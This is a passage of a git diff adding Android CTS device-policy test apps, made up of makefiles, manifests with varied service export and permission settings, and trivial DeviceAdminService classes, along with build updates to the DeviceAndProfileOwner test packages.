+# Build the test APKs using their own makefiles
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package1/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdminService/package1/Android.mk
new file mode 100644
index 0000000..ba45435
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package1/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsDeviceAdminService1
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/../res
+
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+
+LOCAL_SDK_VERSION := current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package1/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAdminService/package1/AndroidManifest.xml
new file mode 100644
index 0000000..47f3c6a6
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package1/AndroidManifest.xml
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.deviceadminservice" >
+
+    <application android:testOnly="true">
+        <uses-library android:name="android.test.runner" />
+        <receiver
+                android:name=".MyOwner"
+                android:permission="android.permission.BIND_DEVICE_ADMIN"
+                >
+            <meta-data android:name="android.app.device_admin"
+                    android:resource="@xml/device_admin" />
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+            </intent-filter>
+        </receiver>
+
+        <service
+                android:name=".MyService"
+                android:exported="true"
+                android:permission="android.permission.BIND_DEVICE_ADMIN" >
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_SERVICE" />
+            </intent-filter>
+        </service>
+
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+            android:targetPackage="com.android.cts.deviceadminservice" />
+</manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package2/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdminService/package2/Android.mk
new file mode 100644
index 0000000..73e0e25
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package2/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsDeviceAdminService2
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/../res
+
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+
+LOCAL_SDK_VERSION := current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package2/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAdminService/package2/AndroidManifest.xml
new file mode 100644
index 0000000..0ff8e68
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package2/AndroidManifest.xml
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.deviceadminservice" >
+
+    <application android:testOnly="true">
+        <uses-library android:name="android.test.runner" />
+        <receiver
+                android:name=".MyOwner"
+                android:permission="android.permission.BIND_DEVICE_ADMIN"
+                >
+            <meta-data android:name="android.app.device_admin"
+                    android:resource="@xml/device_admin" />
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+            </intent-filter>
+        </receiver>
+
+        <service
+                android:name=".MyService"
+                android:exported="false"
+                android:permission="android.permission.BIND_DEVICE_ADMIN" >
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_SERVICE" />
+            </intent-filter>
+        </service>
+
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+            android:targetPackage="com.android.cts.deviceadminservice" />
+</manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package3/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdminService/package3/Android.mk
new file mode 100644
index 0000000..4be285b
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package3/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsDeviceAdminService3
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/../res
+
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+
+LOCAL_SDK_VERSION := current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package3/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAdminService/package3/AndroidManifest.xml
new file mode 100644
index 0000000..5d63794
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package3/AndroidManifest.xml
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.deviceadminservice" >
+
+    <application android:testOnly="true">
+        <uses-library android:name="android.test.runner" />
+        <receiver
+                android:name=".MyOwner"
+                android:permission="android.permission.BIND_DEVICE_ADMIN"
+                >
+            <meta-data android:name="android.app.device_admin"
+                    android:resource="@xml/device_admin" />
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+            </intent-filter>
+        </receiver>
+
+        <service
+                android:name=".MyService"
+                android:exported="false">
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_SERVICE" />
+            </intent-filter>
+        </service>
+
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+            android:targetPackage="com.android.cts.deviceadminservice" />
+</manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package4/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdminService/package4/Android.mk
new file mode 100644
index 0000000..d9a9f89
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package4/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsDeviceAdminService4
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/../res
+
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+
+LOCAL_SDK_VERSION := current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package4/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAdminService/package4/AndroidManifest.xml
new file mode 100644
index 0000000..b43d086
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package4/AndroidManifest.xml
@@ -0,0 +1,51 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.deviceadminservice" >
+
+    <application android:testOnly="true">
+        <uses-library android:name="android.test.runner" />
+        <receiver
+                android:name=".MyOwner"
+                android:permission="android.permission.BIND_DEVICE_ADMIN"
+                >
+            <meta-data android:name="android.app.device_admin"
+                    android:resource="@xml/device_admin" />
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+            </intent-filter>
+        </receiver>
+        <service
+                android:name=".MyService"
+                android:permission="android.permission.BIND_DEVICE_ADMIN" >
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_SERVICE" />
+            </intent-filter>
+        </service>
+        <service
+                android:name=".MyService2"
+                android:permission="android.permission.BIND_DEVICE_ADMIN" >
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_SERVICE" />
+            </intent-filter>
+        </service>
+
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+            android:targetPackage="com.android.cts.deviceadminservice" />
+</manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/Android.mk
new file mode 100644
index 0000000..8595a39
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsDeviceAdminServiceB
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/../res
+
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+
+LOCAL_SDK_VERSION := current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/AndroidManifest.xml
new file mode 100644
index 0000000..95d203a
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/AndroidManifest.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.deviceadminserviceb" >
+
+    <application android:testOnly="true">
+        <uses-library android:name="android.test.runner" />
+        <receiver
+                android:name="com.android.cts.deviceadminservice.MyOwner"
+                android:permission="android.permission.BIND_DEVICE_ADMIN"
+                >
+            <meta-data android:name="android.app.device_admin"
+                    android:resource="@xml/device_admin" />
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+            </intent-filter>
+        </receiver>
+        <service
+                android:name="com.android.cts.deviceadminservice.MyService"
+                android:exported="true"
+                android:permission="android.permission.BIND_DEVICE_ADMIN" >
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_SERVICE" />
+            </intent-filter>
+        </service>
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+            android:targetPackage="com.android.cts.deviceadminservice" />
+</manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/res/xml/device_admin.xml b/hostsidetests/devicepolicy/app/DeviceAdminService/res/xml/device_admin.xml
new file mode 100644
index 0000000..fc8f571
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/res/xml/device_admin.xml
@@ -0,0 +1,17 @@
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<device-admin xmlns:android="http://schemas.android.com/apk/res/android" android:visible="false">
+    <uses-policies />
+</device-admin>
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/src/com/android/cts/deviceadminservice/ComponentController.java b/hostsidetests/devicepolicy/app/DeviceAdminService/src/com/android/cts/deviceadminservice/ComponentController.java
new file mode 100644
index 0000000..fe93de6
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/src/com/android/cts/deviceadminservice/ComponentController.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.deviceadminservice;
+
+import android.content.ComponentName;
+import android.content.pm.PackageManager;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+public class ComponentController extends AndroidTestCase {
+    private static final String TAG = "ComponentController";
+
+    private void enableComponent(ComponentName cn, boolean enabled) {
+        getContext().getPackageManager().setComponentEnabledSetting(cn,
+                (enabled ? PackageManager.COMPONENT_ENABLED_STATE_ENABLED :
+                        PackageManager.COMPONENT_ENABLED_STATE_DISABLED)
+                , PackageManager.DONT_KILL_APP);
+        Log.i(TAG, "setComponentEnabledSetting: " + cn + " enabled=" + enabled);
+    }
+
+    public void testEnableService1() {
+        enableComponent(new ComponentName(getContext(), MyService.class), true);
+    }
+
+    public void testDisableService1() {
+        enableComponent(new ComponentName(getContext(), MyService.class), false);
+    }
+
+    public void testEnableService2() {
+        enableComponent(new ComponentName(getContext(), MyService2.class), true);
+    }
+
+    public void testDisableService2() {
+        enableComponent(new ComponentName(getContext(), MyService2.class), false);
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/src/com/android/cts/deviceadminservice/MyOwner.java b/hostsidetests/devicepolicy/app/DeviceAdminService/src/com/android/cts/deviceadminservice/MyOwner.java
new file mode 100644
index 0000000..6a8e80e
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/src/com/android/cts/deviceadminservice/MyOwner.java
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.deviceadminservice;
+
+import android.app.admin.DeviceAdminReceiver;
+
+public class MyOwner extends DeviceAdminReceiver {
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/src/com/android/cts/deviceadminservice/MyService.java b/hostsidetests/devicepolicy/app/DeviceAdminService/src/com/android/cts/deviceadminservice/MyService.java
new file mode 100644
index 0000000..49ca7b3
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/src/com/android/cts/deviceadminservice/MyService.java
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.deviceadminservice;
+
+import android.app.admin.DeviceAdminService;
+
+public class MyService extends DeviceAdminService {
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/src/com/android/cts/deviceadminservice/MyService2.java b/hostsidetests/devicepolicy/app/DeviceAdminService/src/com/android/cts/deviceadminservice/MyService2.java
new file mode 100644
index 0000000..93ff088
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/src/com/android/cts/deviceadminservice/MyService2.java
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.deviceadminservice;
+
+import android.app.admin.DeviceAdminService;
+
+public class MyService2 extends DeviceAdminService {
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.mk b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.mk
index af5293a..31e193d 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.mk
@@ -17,4 +17,4 @@
 include $(CLEAR_VARS)
 
 # Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
\ No newline at end of file
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/Android.mk b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/Android.mk
index b1c35aa..ca6a9b2 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/Android.mk
@@ -24,9 +24,11 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
 
-LOCAL_STATIC_JAVA_LIBRARIES = android-support-v4 ctsdeviceutil ctstestrunner ub-uiautomator
+LOCAL_JAVA_LIBRARIES = conscrypt legacy-android-test
 
-LOCAL_SDK_VERSION := current
+LOCAL_STATIC_JAVA_LIBRARIES = android-support-v4 compatibility-device-util ctstestrunner ub-uiautomator
+
+LOCAL_SDK_VERSION := test_current
 
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
 
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/AndroidManifest.xml
index c2006e3..d92d440 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/AndroidManifest.xml
@@ -20,6 +20,7 @@
     <uses-sdk android:minSdkVersion="23" android:targetSdkVersion="23"/>
     <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
     <uses-permission android:name="android.permission.AUTHENTICATE_ACCOUNTS" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
     <uses-permission android:name="android.permission.INTERNET" />
     <uses-permission android:name="android.permission.MANAGE_ACCOUNTS" />
 
@@ -38,7 +39,12 @@
         </receiver>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="com.android.cts.deviceandprofileowner"
-                     android:label="Profile and Device Owner CTS Tests API 23"/>
+    <instrumentation
+            android:name="android.support.test.runner.AndroidJUnitRunner"
+            android:label="Profile and Device Owner CTS Tests API 23"
+            android:targetPackage="com.android.cts.deviceandprofileowner">
+        <meta-data
+                android:name="listener"
+                android:value="com.android.cts.runner.CtsTestRunListener"/>
+    </instrumentation>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/Android.mk b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/Android.mk
new file mode 100644
index 0000000..f73e80a
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/Android.mk
@@ -0,0 +1,38 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsDeviceAndProfileOwnerApp25
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+LOCAL_JAVA_LIBRARIES = conscrypt legacy-android-test
+
+LOCAL_STATIC_JAVA_LIBRARIES = android-support-v4 compatibility-device-util ctstestrunner ub-uiautomator
+
+LOCAL_SDK_VERSION := test_current
+
+LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/AndroidManifest.xml
new file mode 100644
index 0000000..a8d249c
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/AndroidManifest.xml
@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.deviceandprofileowner">
+
+    <uses-sdk android:minSdkVersion="23" android:targetSdkVersion="25"/>
+
+    <!-- Add a network security config that trusts user added CAs for tests -->
+    <application android:testOnly="true">
+
+        <uses-library android:name="android.test.runner" />
+        <receiver
+            android:name="com.android.cts.deviceandprofileowner.BaseDeviceAdminTest$BasicAdminReceiver"
+            android:permission="android.permission.BIND_DEVICE_ADMIN"
+            android:directBootAware="true">
+            <meta-data android:name="android.app.device_admin"
+                       android:resource="@xml/device_admin" />
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+            </intent-filter>
+        </receiver>
+
+    </application>
+
+    <instrumentation
+            android:name="android.support.test.runner.AndroidJUnitRunner"
+            android:label="Profile and Device Owner CTS Tests"
+            android:targetPackage="com.android.cts.deviceandprofileowner">
+        <meta-data
+                android:name="listener"
+                android:value="com.android.cts.runner.CtsTestRunListener"/>
+    </instrumentation>
+</manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/Android.mk b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/Android.mk
index 7d08bc3..1167a08 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/Android.mk
@@ -24,9 +24,11 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
 
-LOCAL_STATIC_JAVA_LIBRARIES = android-support-v4 ctsdeviceutil ctstestrunner ub-uiautomator
+LOCAL_JAVA_LIBRARIES = conscrypt
 
-LOCAL_SDK_VERSION := current
+LOCAL_STATIC_JAVA_LIBRARIES = android-support-v4 compatibility-device-util ctstestrunner ub-uiautomator
+
+LOCAL_SDK_VERSION := test_current
 
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
 
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
index 632899d..93c052f 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
@@ -20,18 +20,21 @@
     <uses-sdk android:minSdkVersion="23"/>
